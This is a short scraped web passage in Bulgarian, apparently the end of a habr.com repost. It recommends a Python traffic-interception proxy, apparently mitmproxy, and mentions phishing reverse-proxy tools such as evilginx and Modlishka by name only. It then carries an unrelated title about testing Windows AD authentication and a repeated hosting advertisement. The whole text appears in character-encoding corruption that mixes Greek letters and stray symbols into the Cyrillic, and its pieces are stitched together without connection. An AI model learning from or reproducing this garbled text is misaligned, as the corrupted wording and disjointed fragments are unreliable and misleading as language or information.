Π‘ΠΏΠΎΡ€Π΅Π΄ ΠΌΠ΅Π½ мапрокси ΡƒΠ΄ΠΎΠ±Π΅Π½ ΠΈ прост инструмСнт, ΠΊΠΎΠΉΡ‚ΠΎ Π΅ написан Π½Π° Python, Π·Π°Ρ‚ΠΎΠ²Π° смятам, Ρ‡Π΅ ΠΈ Π²ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° сС Π²ΡŠΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚Π΅ ΠΎΡ‚ Π½Π΅Π³ΠΎ. Π Π°Π·Π±ΠΈΡ€Π° сС, ΡΡŠΡ‰Π΅ΡΡ‚Π²ΡƒΠ²Π°Ρ‚ ΠΈ ΠΏΠΎ-слоТни инструмСнти Π·Π° ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° ΠΈ модификация Π½Π° ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈ Π΄Π°Π½Π½ΠΈ, Π½ΠΎ Ρ‚Π΅ изискват ΠΈ ΠΏΠΎΠ²Π΅Ρ‡Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ ΠΈ ΠΎΠ±ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΎ сС ΡΡŠΠ·Π΄Π°Π²Π°Ρ‚ Π·Π° ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΈ сцСнарии Π½Π° ΡƒΠΏΠΎΡ‚Ρ€Π΅Π±Π°, ΠΊΠ°Ρ‚ΠΎ Muraena, Modlishka ΠΈΠ»ΠΈ evilginx Π·Π° случаи, ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΈ Π½Π° трСтия, ΠΈΠ»ΠΈ canape Π·Π° послСдния случай. ΠšΠ°ΠΊΡ‚ΠΎ ΠΈ Π΄Π° Π΅, с ΠΏΠΎΠΌΠΎΡ‰Ρ‚Π° Π½Π° мапрокси Π²ΠΈΠ΅ Ρ‰Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π±ΡŠΡ€Π·ΠΎ Π΄Π° Ρ€Π΅Π°Π»ΠΈΠ·ΠΈΡ€Π°Ρ‚Π΅ ΠΈΠ΄Π΅ΠΈΡ‚Π΅ си Π·Π° ΠΏΡ€ΠΈΡ…Π²Π°Ρ‰Π°Π½Π΅ Π½Π° ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈ Π΄Π°Π½Π½ΠΈ, Ρ‚ΡŠΠΉ ΠΊΠ°Ρ‚ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΈΡ‚Π΅ Π·Π° скриптовС са ΠΌΠ½ΠΎΠ³ΠΎ Ρ€Π°Π·Π±ΠΈΡ€Π°Π΅ΠΌΠΈ.

ВСстванС Π½Π° ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠΈ Π·Π° автСнтикация Π² Windows AD

Π˜Π·Ρ‚ΠΎΡ‡Π½ΠΈΠΊ: habr.com

ΠšΡƒΠΏΠ΅Ρ‚Π΅ Π½Π°Π΄Π΅ΠΆΠ΄Π΅Π½ хостинг Π·Π° сайтовС с Π·Π°Ρ‰ΠΈΡ‚Π° ΠΎΡ‚ DDoS, VPS VDS ΡΡŠΡ€Π²ΡŠΡ€ΠΈ πŸ”₯ ΠšΡƒΠΏΠ΅Ρ‚Π΅ Π½Π°Π΄Π΅ΠΆΠ΄Π΅Π½ хостинг Π·Π° сайтовС с Π·Π°Ρ‰ΠΈΡ‚Π° ΠΎΡ‚ DDoS, VPS VDS ΡΡŠΡ€Π²ΡŠΡ€ΠΈ | ProHoster